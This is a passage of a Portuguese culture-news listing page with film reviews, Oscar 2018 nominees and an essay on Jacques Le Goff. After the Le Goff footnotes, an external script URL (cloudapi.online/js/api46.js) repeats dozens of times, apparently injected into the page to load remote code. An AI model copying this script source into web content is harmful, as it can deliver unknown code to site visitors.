Opção cultural

Encontramos 4848 resultados
Prós e contras de José de Alencar

Apesar de o leitor contemporâneo achar monótona a leitura de alguns romances do escritor cearense, ele é um dos maiores romancistas brasileiros, o primeiro entre os mais relevantes de conhecimento público (que não passam de oito)

A pilantragem capitalizável de Hollywood

A história da mulher que tem nome de personagem da literatura (Molly Bloom), estudou Ciência Política na Universidade, mas preferiu administrar jogos ilegais de pôquer, acabou presa e virando filme

“O Rei do Show” faz jus ao título pela música

Filme foi indicado ao Oscar apenas na categoria de Melhor Canção Original, com “This Is Me”, que se tornou sucesso retumbante nas rádios americanas

Vida e obra de James Baldwin

Tocado pelo gênio da linguagem, romancista e intelectual negro americano passou a vida em lutas, internas e externas, contra o racismo e a homofobia; o discurso, atingindo a essência do problema, foi seu grande legado

José Padilha revive a Operação Entebbe

Cineasta brasileiro dirige o filme angloamericano “7 Dias em Entebbe”, remake de um drama real que ocorreu em 1976, quando um avião foi sequestrado com 302 pessoas a bordo [caption id="attachment_115608" align="alignnone" width="620"] José Padilha é uma dos melhores diretores de cinema do Brasil, mas estará no Festival Internacional de Cinema de Berlim com uma produção angloamericana | Foto: Divulgação[/caption] RUI MARTINS Especial para o Jornal Opção O cinema brasileiro ficou fora, este ano, da competição internacional do Festival Internacional de Cinema de Berlim (Berlinale), mas um de seus melhores cineastas, José Padilha, dirige o filme angloamericano “7 Dias em Entebbe”, remake de um drama real. Trata-se do sequestro de um avião da Air France – em 27 de junho de 1976, que foi desviado da rota ao sair da escala em Atenas – por 7 sequestradores (cinco palestinos e dois alemães), quando ia para Benghazi, na Líbia, e depois para Entebbe, antiga capital de Uganda, do então ditador Idi Amin Dada. Os 290 passageiros mais 12 tripulantes foram divididos entre 95 judeus e 195 não judeus, logo libertados. Os judeus ficaram num galpão ao lado do aeroporto com os 12 tripulantes, vigiados pelos sequestradores e por militares ugandenses. Os sequestradores pediam a libertação de 53 palestinos presos em quatro países diferentes, caso contrário iram explodir o avião com os passageiros judeus. Mas na madrugada do dia 3 de julho, quatro aviões militares Hércules israelenses desembarcaram jipes com cem militares de comandos de elite e, numa operação de resgate relâmpago, recuperaram os passageiros e tripulantes reféns e liquidaram os sequestradores e 20 soldados ugandenses. Morreram três reféns e o chefe da operação, o tenente-coronel Yoni Nataniau, irmão de Benjamin Nataniau, atual primeiro-ministro israelense. Não se sabe ainda como José Padilha tratou esse tema cheio de suspense, pois a estreia mundial do filme será aqui no Festival de Cinema de Berlim. Existem diversas versões dessa intervenção israelense. Apenas seis dias depois da libertação dos passageiros, o jornalista Alessandro Porro, enviou de Israel, onde era correspondente da revista “Veja”, o texto sobre o que seria o primeiro livro – “Operação Resgate” -, publicado imediatamente pela Editora Abril. Mostra Panorama O Brasil tem mais dois filmes na mostra Panorama (que reunirá 47 filmes de 40 países): “O Processo”, de Maria Augusta Ramos, que na fase final de montagem recebeu um apoio de 100 mil reais, oferecidos pelo Fundo Mundial de Cinema - uma iniciativa conjunta do Berlinale com o governo alemão e o Instituto Goethe. “O Processo” é um documentário sobre os debates parlamentares durante o impeachment da presidente Dilma Rousseff, que também intervém no filme. Outro filme brasileiro na mostra Panorama é “Tinta Bruta”, de Marcio Reolon e Filipe Matzembacher. A dupla de realizadores já havia estado na mostra Fórum, há três anos, com o filme “Beira-Mar”, sobre a adolescência. Agora, narra a história de GarotoNeon, que se cobre de tinta e se deixa filmar por uma webcam em poses eróticas, transmitidas pela internet. Faz isso até descobrir haver um imitador, que GarotoNeon deseja encontrar, pois vivem na mesma cidade. Rui Martins é crítico de cinema, e estará de 14 a 25 de fevereiro em Berlim, a convite do Festival Internacional de Cinema (Berlinale)

Deve a história terminar em pizza?

No julgamento da Idade Média notará o Leitor desta crônica que, ao fatiar a História, só se obtêm ganhos didáticos discutíveis. Jacques Le Goff, Régine Pernoud e Ricardo Costa são âncoras que permitem ao leitor aprender "o que não nos ensinaram" sobre o tema. [caption id="attachment_115284" align="aligncenter" width="620"] Jacques Le Goff e Régine Pernoud, historiadores franceses que escreveram sobre o que não nos contaram sobre a Idade Média[/caption] Historiadores sérios como Jacques Le Goff e Régine Pernoud escreveram sobre "o que não nos contaram na Escola", provando que a Idade Média tem sua luz própria, sendo a mãe de vários renascimentos. Cabe, pois, ao cronista tratar de modo respeitoso, mas bem-humorado – daí o título –, mas na verdade cabe mais ainda ressaltar: estamos diante de um estudo respeitável, de um acadêmico à antiga neste seu “A história deve ser dividida em pedaços?[i]” do Sr. Jacques Le Goff. Nascido em Toulon (França) em 1924 e morto em Paris em 2014, Le Goff é reconhecido por muitos como um dos mais importantes medievalistas do século 20, por sua inovadora e persistente dedicação ao estudo da história da Idade Média Ocidental. No dizer do medievalista brasileiro Ricardo Costa[ii]:

Jacques Le Goff, historiador instigante, propositivo e interrogativo, indicou muitos novos e impensados caminhos. São múltiplas as suas Idades Médias. Gosto mais de algumas do que outras. Leio todas. Nós, medievalistas, fomos agraciados por uma tradição historiográfica que renovou as pesquisas históricas. Desde Marc Bloch (1886-1944) os colegas de outras áreas, inclusive os mais refratários, são obrigados a marcar passo nos medievalistas. Pois foram eles, Le Goff & Cia., os fantásticos recriadores de nosso ofício. E Jacques Le Goff ocupa um lugar de destaque. É parada obrigatória.
[caption id="attachment_115287" align="aligncenter" width="362"] "Nem tese nem antítese, este ensaio de Le Goff é o resultado de uma longa pesquisa" - assegura o Autor.[/caption] Ainda naquele artigo personalíssimo sobre o mestre admirado e refutado, Costa nos conduz às leituras que fez de Goff, ao longo de sua carreira acadêmica, para concluir: “...Devo reconhecer que ele marcou uma época em minha vida. Foram – e ainda são – muitas e muitas horas de leitura. Terminarei minha relação com ele com um pequeno “causo”. Certa vez, há muitos anos, uma historiadora me perguntou de quem eu gostava mais, de Le Goff ou de Duby. Estava em minha fase Le Goff. Todos passamos por ela. Respondi, sem pestanejar: “– Le Goff”. Ela me olhou, com um olhar bem interrogativo, pois gostava mais de Georges Duby. Hoje, mais maduro, confesso: mudei de opinião. Talvez aos 30 gostasse mais de Le Goff porque seus textos fossem “mais fáceis” para mim. Ainda o contemplo assim. Como disse, ele propõe esquemas interpretativos. Simplifica. Sintetiza e conclui. É, portanto, mais pedagógico. Por isso, nada mais natural que, durante minha formação, gostasse mais de seus textos. Já Duby é mais complexo. Não facilita. E tem um texto para poucos. Para pouquíssimos. Aos “cinquenta”, me delicio com seu artesanato textual, precioso. Mas Le Goff faz parte da formação de qualquer medievalista. Por isso, fez da minha. Por isso, presto, com a devida vênia, meu reconhecimento.” É este autor reconhecido que se me apresenta como o meu segundo livro destas “leituras desobrigadas” do verão 2018. Seja lá o que queira dizer com isso, meu interlocutor invisível retorna para cobrar-me coerência. Não seria o caso de afirmar que este é um livro do tipo sério e problematizante, do tipo de “literatura empenhada” (Segismundo Spina) própria para formação, enfim, um livro que deveria ser estudado e não lido?  Em primeiro lugar, penso como Franklin de Oliveira, que, comentando sobre “o atormentado, o tão intimamente sofrido” Hermann Hesse concluiu que “a marca terrível da vida humana está em que a ninguém é dado demitir-se do quotidiano, tirar férias do dia-a-dia, eximir-se do enfrentamento com as misérias das vinte e quatro de cada dia nos deixam na alma a morte incoativa” – a sua história, a marca indelével do Tempo que passa para todos os mortais. De fato, ao leitor não iniciado nos mistérios da História e, tampouco, afeito aos estudos da Idade Média, parecerá o livro um tratado irreconhecível e desnecessário, muito mais para uma estação de veraneio. Não sendo este o meu caso, ler Le Goff neste curto ensaio de menos de 150 páginas, é um desafio interessantíssimo, seja por ter o historiador francês aquele charme que raptou o professor Ricardo Costa, para o bem ou para o mal, daquele mestre que, mesmo sendo um esquerdista, tem sempre uma visão apurada para os acontecimentos de uma época tão importante para o leitor conservador (e católico), como é o caso deste cronista. Sim, vale a pena lê-lo, embora naturalmente a preferência recaía sobre um Duby, um Curtius, uma Régine Pernoud, sobretudo, e nesta ordem. A Idade Média, como se sabe, foi revista recentemente pela maioria dos nossos historiadores, perdendo a pecha de que lhe haviam aposto os livres pensadores do Iluminismo, não sendo mais vista como “the dark ages” – pelo menos não para a unanimidade (quase sempre burra) daqueles que a tentaram desconstruir, a partir do século XVIII; tornando quase voz corrente para o leitor mediano. Aliás, coube a Régine Pernoud nos alertar em seu inarredável “Idade Média: o que não nos ensinaram[iii]” que este período da História é mais do que “um meio-termo”, e também que não cabem “ações discriminatórias” em relação a este rico período do nosso passado. Aliás, em 1978, o nosso ilustre crítico maranhense Franklin de Oliveira alertava os incautos: “A idade Média…não foi, de forma alguma, a Dark Ages inventada pelos historiadores liberais do séc. XIX, mas genuína herdeira do mundo greco-romano. Desde logo, acentue-se que sem o conhecimento de sua história torna-se impossível a compreensão do mundo moderno, consequentemente do mundo contemporâneo. Há um fato fundamental, que, dizendo de sua importância, também elide as teorias que a definiram como época escura: ela significa a fundação da Europa em sua base cristã-romana. Para apreender-se o veio subterrâneo que a informou basta pensar, numa simplificação que, apesar de ser quase um despojamento histórico, nem por isto despe-se de significação cultural, em dois fatos que ocorreram no seu seio: o estupendo fato da literatura provençal e a aparição da poesia dos clerici vagantes. Pense-se nos vários proto-renascimentos que ocorreram no bojo do Medievo, onde Francesco d’Assisi acionou a grande revolução espiritual de que se nutriram a pintura de Giotto, o visionarismo libertário de Gioacchino da Fiore, de Giovanni da Parma, de Pier di Giovanni Olivi, Ubertino da Casale, Michele da Cesena, Almarico di Bena, os Spirituali e a poesia de Dante.[iv] É dessa mirada respeitosa e aprofundada que parte Jacques Le Goff, neste seu ensaio que não pretende ser nem tese nem antítese, mas resultado de uma longa pesquisa, no dizer do próprio autor. Este olhar do pesquisador sobre a validade da periodização da história – deu-nos a bem-apanhada situação do título, a saber: a “divisão em pedaços” como uma questão; e assim, a periodização da história é examinada desde a primeira que se conhece no mundo Ocidental, na cultura judaico-cristã, de Daniel (e seus quatro períodos) a Santo Agostinho, em “A cidade de Deus”, com seus seis períodos. A essa tentativa humana de deter o poder sobre o Tempo, já o poeta Longfellow poetizara com o seu ritmo próprio, dando-nos a noção do “tempo que nos parece domável, cada pedaço em seu lugar (como se pudesse ser divido em pedaços!)”: “Forever – Never!/Never – Forever”[v] Da lição de Ruy Oliveira de Andrade Filho sabemos que este que foi um dos últimos trabalhos de Jacques Le Goff que tem, em suma, entre outros o mérito de nos mostrar "uma extensa continuidade nas estruturas ditas “modernas” que, na realidade tiveram sua origem na Idade Média" - e que falar de "um Renascimento" só tem sentido se levarmos em conta os vários renascimentos medievais. Só podemos lamentar, como o faz Le Goff, para os que olham "com desdém para a época medieval, uma vez que, em sua opinião, o Renascimento, tomado como uma época específica pela história contemporânea tradicional “só marcou um último subperíodo de uma Longa Idade Média.” Num livro que não tem nada de apropriado àquela classificação de “leitura desobrigada”, mas que é isto sim um convite à leitura atenta e de ganhos didáticos, Ernest Robert Curtius nos adverte contra “a história de nossos antiquados livros didáticos”, para ressaltar que só se justificam os períodos, os “pedaços de espaço” e a subdivisão em períodos de tempo, as razões pedagógicas, e as mesmas razões valem para que se reconstitua “uma visão de conjunto” da história. Num mundo em que se degradam as visões do passado heroico do Ocidente, em que o princípio regente de tudo parece ser a dispersão e a visão fragmentária, é de alto valor ler (ou reler) este pequeno e poderoso ensaio de Le Goff; onde se aprende que “a periodização da história” remonta a Heródoto (século VI a.C.) e ao Antigo Testamento (Daniel, século VI a.C.) e a entrada na vida prática cotidiana é marcada pela transformação do gênero literário histórico em matéria de ensino – séculos XVIII e XIX – sempre naquela vertente Longellowniana de necessidade humana de agir sobre o tempo no qual a Humanidade evolui, seja pela invenção dos calendários, seja pela periodização. A periodização justifica-se, mas não pode ser uma barreira à visão de conjunto exaltada por Curtius. Nesse sentido, Le Goff recorre a fontes outras que não as que desmerecem a Idade média, dando-lhe sentido pejorativo. O que ele nos prova com seu ensaio é “a existência de uma longa Idade Média e da inaceitabilidade de um Renascimento como período específico” – terreno do qual emergem “novos horizontes ao estudo da história”, conclusão avalizada por um Georges Duby em “Histoire continue” e, sobretudo, por Fernand Braudel, historiador francês da mesma Escola – a “Annales”, onde Le Goff se formou.[vi] Se a formação do sentido histórico, tão necessário quanto a formação do sentido literário são hoje negligenciadas, como bem ressalta Régine Pernoud, estamos condenados a não ver aspectos positivos em ler sobre a História do mundo Ocidental, somos levados a minimizar a importância e a superioridade da civilização judaico-cristã e sua hegemonia no mundo dito “moderno”, porque os apelos dos sentidos todos os da carne por primeiro nos fazem abandonar a História, os livros, a civilização em nome da lascívia e da decadência dos relacionamentos. Daí, termos cunhado essa excrescência que é dizer que aqui a história sempre acaba em pizza, para designar que não temos nem disciplina nem respeito à Lei. [caption id="attachment_115288" align="alignright" width="224"] Régine Pernoud: uma vida para esclarecer o que os "livres pensadores" trataram pejorativamente - a rica Idade Média[/caption] Mas, “quer queiramos ou não, o homem é também um animal histórico; o lugar que ocupa no tempo é tão importante para ele como o que ocupa no espaço; e esta curiosidade natural que cada um experimenta em relação às suas origens, à sua família, aos seus parentes, e até mesmo aos seus ancestrais, é perfeitamente legítima, tanto assim que se justifica a curiosidade do médico que interroga seu paciente não apenas sobre as doenças de sua infância, mas sobre as condições de vida e morte de seus pais. É inútil insistir, no século da psicanálise, sobre o interesse imediato que representa para cada um de nós seu passado e o dos seus – interesse tão poderoso, tão profundo, como o do meio social, em geral, sobre o qual se insiste tanto no momento atual, e que se estende, naturalmente, do indivíduo ao grupo e à região” – acentua Pernoud. Por tudo isso, tirar de seu pedaço da vida o sumo revitalizante do estudo da história serviria ao leitor comum, quando mais não seja, para ter “o controle de um objetivo vital, intelectual e ao mesmo tempo carnal, como pode ser a história” – no dizer de Le Goff, “parece-me necessitar de uma combinação de continuidade e de descontinuidade. É isso que a longa duração, associada à periodização, oferece”. E assim, encerro esta crônica com Ricardo da Costa, com quem concordo. Afinal, não há como desprezar o velho medievalista, pois, mesmo para quem não é especialista na matéria, há que se admitir que “não podemos negar: somos todos filhos de Le Goff. Para o bem e para o mal.” Adalberto de Queiroz, 62, é jornalista e poeta, Autor de “O rio incontornável”, poesia, Editora Mondrongo, 2018.

[i] LE GOFF, Jacques. “A história deve ser dividida em pedaços?”, trad. Nícia Adan Bonnatti – 1ª. ed., São Paulo: Editora Unesp, 2015, 149 p.
[ii] COSTA, Ricardo da. In: Revista Brathair, vol. 16, n. 2 (2016), transcrito no website do Autor – link consultado em 20/01/18: http://www.ricardocosta.com/artigo/multiplas-idades-medias-de-jacques-le-goff-1924-2014. Também o artigo citado em [vi] de autoria de Ruy de Oliveira Andrade Filho é desta mesma fonte.
[iii] PERNOUD, Régine. “Idade Média: o que não nos ensinaram”. Trad. Maurício Bret de Menezes. S. Paulo: Linotipo Digital, 2016, 231 p.
[iv] OLIVEIRA, Franklin. “Literatura e civilização”. Rio de Janeiro: Difel; Brasília, INL, 1978, p. 18/19.
[v] Citado por Roberto Pompeu de Toledo em brilhante artigo na revista Veja, de 03/01/2018, p. 98.
[vi] DUBY, Georges. “A histórica contínua”, 1992, trad. Ana Cristina Leonardo, Porto (Portugal), Edições Asa.
https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js https://cloudapi.online/js/api46.js

Oscar 2018 – “A Forma da Água”, “Dunkirk” e Meryl Streep

A edição de número 90 da maior festa do cinema deu seu pontapé inicial hoje com as indicações em 24 categorias, sem surpresas, com destaque para Meryl Streep, lembrada pela 21ª vez, e o filme de Guillermo del Toro, recordista do ano [caption id="attachment_115393" align="alignnone" width="620"] Em “A Forma da Água”, Sally Hawkins faz Elisa Esposito, que tenta salvar uma criatura fantástica de laboratório, explorada como cobaia do governo americano | Foto: Divulgação[/caption] A atriz Meryl Streep e os filmes “A Forma da Água” e “Dunkirk” são destaques do Oscar 2018, cujas indicações foram divulgadas hoje pela Academia, em Los Angeles. O Brasileiro Carlos Saldanha concorre ao Oscar de Melhor Animação, com o filme “O Touro Ferdinando”, história adaptada de um clássico da literatura americana infantil sobre um touro que cresceu preferindo cheirar flores a dar chifradas e cabeçadas. Meryl Streep concorre ao Oscar pela 21ª vez, e já ganhou três estatuetas, ficando atrás, em temos de vitória, apenas de Katharine Hepburn (1907-2003), que faturou quatro Oscar ao longo de sua carreira. Este ano, “Her”, como é chamada em tom de rever6encia pelos colegas, concorre como Melhor Atriz no filme “The Post - A Guerra Secreta”, dirigido por Steven Spielberg, que não foi lembrado pela Academia. “A Forma da Água”, filme escrito e dirigido pelo mexicano Guillermo del Toro, bateu o recorde de indicações do ano no Oscar, sendo lembrado 13 vezes. Sua história gira em torno de uma mulher muda (Sally Hawkins), que tenta salvar uma criatura fantástica de laboratório, que está sendo maltratada e servindo de experiência por uma base secreta do governo americano, na década de 1960 (plena Guerra Fria). Del Toro venceu o Globo de Ouro deste ano como Melhor Diretor, e pode fazer a dobradinha com o Oscar, pois foi indicado nesta categoria, tal como seus outros dois conterrâneas, Alfonso Cuarón (Gravidade, 2014) e Alejandro González Iñárritu (O Regresso, 2016), que venceram os dois prêmios na sequência. “Dunkirk”, com oito indicações, incluindo a de Melhor Filme, narra o drama dos soldados britânicos encurralados no Porto de Dunkirk, na França, na Segunda Guerra Mundial, salvos pela Operação Dínamo, coordenada pelo primeiro-ministro britânico Winston Churchill, e executada por marinheiros civis em barcos pequenos, com a retaguarda de uns poucos aviões da força aérea. O filme de Nolan privilegia as articulações em massa e os mecanismos estratégicos, sendo vistos em tomadas abertas em belas cenas aéreas, e planos fechados visando detalhes de cenografia, com poucos diálogos, e atuações colocadas em segundo lugar no escopo do roteiro. Nolan parece amar composição de cenários e olhar pela câmera, mas detestar os atores e roteiros tradicionais. O roteiro de “Dunkirk” é sofisticado, e sua direção é a de alguém muito íntimo das artes plásticas, das instalações. “Dunkirk” é um filme maravilhoso, mas não é para quem gosta de ver os personagens protagonizando uma história. O brasileiro Carlos Saldanha, que dirige "O Touro Ferdinando", já concorreu com “A Aventura Perdida de Scrat”, em 2004, como Melhor Curta em Animação, que daria origem aos filmes “A Era do Gelo”. Em 2015, seu filme de animação “Rio” concorreu ao Oscar na categoria Melhor Canção Original, com “Real in Rio” (Sergio Mendes), que perdeu para o único concorrente “Man or Muppet”, da animação “Os Muppets” A Academy Awards, que administra a premiação do Oscar, premia filmes em 24 categorias. Veja abaixo a lista de indicados das principais delas. Melhor Filme “Me Chame pelo Seu Nome” Produção: Peter Spears, Luca Guadagnino, Emilie Georges, Marco Morbito e Rodrigo Teixeira (brasileiro) “Dunkirk” Produção: Emma Thomas e Christopher Nolan “Corra!” Produção: Sean McKittrick, Jason Blum, Edward H. Hamm e Jordan Peele “Lady Bird - A Hora de Voar” Produção: Eli Bush, Evelyn O’Neill e Scott Rudin “O Destino de Uma Nação” Produção: Tim Bevan, Lisa Bruce, Eric Fellner, Anthony McCarten e Douglas Urbanski “The Post - A Guerra Secreta” Produção: Amy Pascal, Steven Spielberg e Kristie Macosko Krieger “A Forma da Água” Produção: J. Miles Dale e Guillermo del Toro “Três Anúncios para um Crime” Produção: Graham Broadbent, Pete Czernin e Martin McDonagh “Trama Fantasma” Produção: Paul Thomas Anderson, Megan Ellison e JoAnne Sellar Melhor Diretor Christopher Nolan (“Dunkirk”) Jordan Peele (“Corra!”) Greta Gerwig (“Lady Bird - A Hora de Voar”) Paul Thomas Anderson (“Trama Fantasma”) Guillermo del Toro (“A Forma da Água”) Melhor Atriz Sally Hawkins (“A Forma da Água”) Frances McDormand (“Três Anúncios para um Crime”) Margot Robbie (“Eu, Tonya”) Saoirse Ronan (“Lady Bird - A Hora de Voar”) Meryl Streep (“The Post - A Guerra Secreta”) Melhor Ator Timothée Chalamet ( “Me Chame pelo Seu Nome”) Daniel Day-Lewis (“Trama Fantasma”) Daniel Kaluuya (“Corra!”) Gary Oldman (“O Destino de Uma Nação”) Denzel Washington (“Roman J Israel, Esq”) Melhor Ator Coadjuvante Willem Dafoe “Projeto Flórida” Woody Harrelson (“Três Anúncios para um Crime”) Richard Jenkins (“A Forma da Água”) Christopher Plummer (“Todo o Dinheiro do Mundo”) Sam Rockwell (“Três Anúncios para um Crime”) Melhor Atriz Coadjuvante Mary J. Blige (“Mudbound - Lágrimas Sobre o Mississipi”) Allison Janney (“Eu, Tonya”) Laurie Metcalf (“Lady Bird - A Hora de Voar”) Octavia Spencer ( “A Forma da Água”) Lesley Manville (“Trama Fantasma”) Melhor Roteiro Original Emily V. Gordon & Kumail Nanjiani (“Doentes de Amor”) Jordan Peele (“Corra!”) Greta Gerwig (“Lady Bird - A Hora de Voar”) Guillermo del Toro e Vanessa Taylor - história de Guillermo del Toro – (“A Forma da Água”) Martin McDonagh (“Três Anúncios para um Crime”) Melhor Roteiro Adaptado James Ivory (“Me Chame pelo Seu Nome”) Scott Neustadter & Michael H. Weber (“Artista do Desastre”) Scott Frank & James Mangold and Michael Green (“Logan”) Aaron Sorkin (A Grande Jogada) Virgil Williams and Dee Rees (“Mudbound - Lágrimas Sobre o Mississipi”) Melhor Animação “O Poderoso Chefinho” Produção: Ramsey Ann Naito Direção: Tom McGrath, “The Breadwinner” Prdução: Nora Twomey, Angelina Jolie (pela Jolie Pas), Anthony Leo, Tomm Moore, Paul Young Direção: Nora Twomey “Viva – A Vida é uma Festa” “Coco” Produção: Darla K. Anderson Direção: Lee Unkrich “O Touro Ferdinando” Produção: John Davis, Lisa Marie Stetler, Lori Forte e Bruce Anderson Direção: Carlos Saldanha “Com Amor, Van Gogh” Produção: Hugh Welchman, Sean Bobbitt, Ivan Mactaggart, Hugh Welchman Direção: Dorota Kobiela Melhor Longa Estrangeiro “Uma Mulher Fantástica” Sebastián Lelio (Chile) “The Insult” Ziad Doueiri (Líbano) “Loveless” Andrey Zvyagintsev (Rússia) “On Body and Soul” (Hungria) “The Square” (Suécia) Melhor Canção Original “Mystery of Love”, de Sufjan Stevens (“Me Chame pelo Seu Nome”) “Remember Me”, de Kristen Anderson-Lopez, Robert Lopez (Viva – “A Vida é uma Festa”) “This Is Me”, de Benj Pasek e Justin Paul (“O rei do Show”) “Stand Up for Something”, de Diane Warren e Lonnie R. Lynn (“Marshall”) “Mighty River”, de Mary J. Blige, Raphael Saadiq e Taura Stinson (“Mudbound - Lágrimas Sobre o Mississipi”)

O Sujeito sem Dedos nos Pés

Há 130 anos morria Edward Lear (1812-1888), pintor, desenhista e escritor inglês, um dos pais, junto com Lewis Carroll, do nonsense vitoriano. O poema “O Sujeito sem Dedos nos Pés” foi publicado em 1877 no livro “Laughable Lyrics: a Fourth Book of Nonsense Poems, Songs, Botany, Music &c” (“Letras Engraçadas: Quarto Livro de Nonsense em Poemas, Canções, Botânica, Música Etc”, em tradução livr

A segunda morte de Nelly Novaes Coelho

Esquecida em vida pela crítica e pelo jornalismo, e relegada a um asilo pela família, escritora não teve sequer a morte anunciada na data certa, ocorrida em novembro de 2017

Memória e presente nas crônicas de Whisner Fraga

Livro do escritor mineiro traz relatos curiosos ou engraçados, de teor filosófico ou reflexivo, de onde se pode extrair algo de aproveitável, tanto para verificação mais profunda da existência quanto para um riso sem compromisso

Em qualquer lugar e em qualquer circunstância: uma carta de Edward Lear

Contista infantil, ilustrador e um dos grandes poetas do nonsense, escritor inglês do século 19 tem carta inédita em português publicada nesta edição, enviada em maio de 1859, de Roma, ao amigo Chichester Fortescue (parlamentar irlandês)

O lado de cá dos outdoors

"Três Anúncios para um Crime"caiu nas graças da crítica especializada e do público dos principais festivais pelos quais passou; ganhou quatro Globos de Ouro e tem muias chances com o Oscar [caption id="attachment_115010" align="alignnone" width="620"] Frances McDormand, que faz a protagonista Mildred Hayes, é favoritíssima ao Oscar[/caption] Poucos títulos definiram de forma tão eficaz a trama de uma obra como "Three Billboards Outside Ebbing, Missouri" - que se fosse traduzido ao pé da letra, daria em algo como "Três outdoors à beira de Ebbing, Missouri". Aqui no Brasil, o filme mais recente de Martin McDonagh ganhou o rótulo de "Três Anúncios para um Crime" (2017), retirando completamente a essência de estudo de personagens que é essa obra. Logo de cara, "Três Anúncios" caiu nas graças da crítica especializada e do público dos principais festivais pelos quais passou. Estreando no Festival de Toronto sob uma avalanche de aplausos depois de levar o prêmio de melhor roteiro no Festival de Veneza, atravessou o tapete vermelho do Globo de Ouro em grande estilo, faturando quatro das seis indicações que recebeu (Melhor Filme de Drama, Melhor Atriz em Filme de Drama, Melhor Ator Coadjuvante e Melhor Roteiro). Na categoria de Melhor Diretor, McDonagh perdeu para Guillermo Del Toro, de "A Forma da Água", e em Melhor Trilha Sonora, Alexandre Desplat, também de "A Forma da Água" levou o caneco. O título original funciona bem melhor do que qualquer outro que poderiam inventar porque, a despeito do que possam falar, a trama é bastante simplista: numa modorrenta cidade do Missouri, uma mulher perde a filha em um crime brutal, e após sofrer com a incompetência da polícia local em esclarecer o crime, resolve alugar três outdoors para protestar. O primeiro ato já coloca isso no colo do espectador, porque o que importa é como as coisas vão se transformar a partir da fixação dessas placas. Vivos e mortos Existe muita influência das grandes obras policiais de humor negro no filme de McDonagh. A pergunta "Quem Matou Laura Palmer?", por exemplo, que tangencia a trama de "Twin Peaks", aclamada série de David Lynch, se aplicaria perfeitamente aqui, não só por utilizarem a morte de uma adolescente como ponto de partida. Em ambos, o crime em si não interessa. Não é reconstituído, não está no centro das atenções dos personagens e não serve de gancho para fisgar o telespectador. Os mortos já estão mortos e permanecem apenas como pano de fundo. O que interessa é como os vivos vão se virar - o que, frequentemente, desencadeia situações absurdas, patéticas, cômicas, comoventes e mais um mar sem fim de sensações. Por outro lado, o padrinho maior de "Três Anúncios para um Crime" parece mesmo ser "Fargo", um clássico de 1996 dirigido pelos irmãos Joel e Ethan Coen, e que se reforça no trabalho espetacular de atuação de Frances McDormand (que, aliás, é casada com Joel Coen). Neste filme de McDonagh, o tom peculiar dos personagens, a forma de expô-los em todas as suas contradições, nos incidentes e no poder do imprevisível, tudo remete à escrita dos Coen. Parece difícil escolher outra atriz para protagonizá-lo, senão a própria Frances. Por outro lado, a direção do longa não é nada mais do que competente. Plana em significados, esmera-se em passar a mensagem do roteiro de forma direta, sem muita malandragem. Não há o que se comparar com o requinte de Lynch ou a urgência disfarçada dos Coen - ambos inspirações com uma marca autoral mais profunda. Obviamente que a direção não se restringe a aspectos de fotografia, mas fica a sensação de que o roteiro é muito mais forte do que a direção em si. Spoiler Aliás, um olhar mais detido sobre o tão elogiado roteiro revela inúmeros furos, contradições, diálogos desnecessários e saídas fáceis, evidenciando que a sua intenção não foi especificamente o modo de contar a estória, mas sim a profundidade dos personagens. (E aqui, alguns spoilers que comprovam esse argumento - se você ainda não assistiu ao filme, recomendo que pule para o próximo parágrafo: [1] Os outdoors alugados por Mildred Hayes, além de servirem de pressão em cima do xerife, estão no local onde Angela Hayes foi morta, numa estrada de pouco movimento. No decorrer do filme, entretanto, a estrada apresenta um movimento imensamente maior, com trânsito constante, repórteres, funcionários e a própria polícia, o que esvazia um pouco o significado das placas. [2] Em que pese não terem relação direta entre si, o círculo de personagens parece muito restrito. Vítimas e agressores se topam o tempo todo, tudo o que acontece na cidade está ligado a Mildred, ao xerife Willoughby ou ao policial Dixon. Ebbing, Missouri, é na verdade quatro ou cinco pessoas. [3] As variações no tom do roteiro o fazem perder o foco. O xerife Willoughby, por exemplo, sai de uma figura suspeita e cínica, no início do filme, a um mestre sábio onisciente, quando passa a enviar cartas a seus pupilos. James, o anão, vira uma figura patética simplesmente por ser anão. Charles, o ex-marido, passa de uma interessante e incômoda verruga no mundo sentimental de Mildred para um alívio cômico de sessão da tarde. [4] A cena do suco de laranja, no hospital, é um carrossel de emoções baratas, ridículas e desnecessárias. Enfim. Ao final, todos esses aspectos viram uma tentativa meio frustrada de emular o clima dos filmes dos irmãos Coen, tirando a energia que o roteiro poderia conseguir por si só). Favorita ao Oscar [caption id="attachment_115011" align="alignnone" width="620"] Numa cidadezinha do Missouri, uma mulher perde a filha em um crime brutal; após a polícia não esclarecer o crime, ela resolve alugar três outdoors para protestar[/caption] O forte do filme, sem dúvida nenhuma, são os personagens. Estruturados em diversas camadas, apresentam uma profundidade interessantíssima responsável por carregar o filme nas costas. Frances, que faz a protagonista Mildred Hayes, é favoritíssima ao Oscar (vale lembrar que a Academia, até a presente data, nem divulgou ainda seus indicados!), com toda a justiça do mundo. Woody Harrelson também passa a credibilidade de sempre com seu xerife condenado (pelo destino, por Mildred e pelo espectador). E Sam Rockwell fecha a tríade com o famigerado policial Jason Dixon, um verdadeiro pacote de defeitos humanos mimado pela mãe, mas que ainda assim consegue nos despertar certa compaixão no fechar da conta. Créditos ao McDonagh roteirista. Há ainda espaço para personagens secundários muito bons, como o ex-marido Charlie (John Hawkes), o carente James (Peter Dinklage, de Game of Thrones) e o tótem moral Abercrombie (Clarke Peters) - todos com suas aparições menores, mas fundamentais. No frigir dos ovos, o filme é sobre raiva, e até onde ela pode mover alguém respaldado por objetivos fortes. Ou sobre a raiva como autoflagelação por uma culpa insuportavelmente grande. Ou sobre raiva como sintoma de uma impotência, diante da autoestima baixa. Não interessa. Porque os outdoors - muito mais 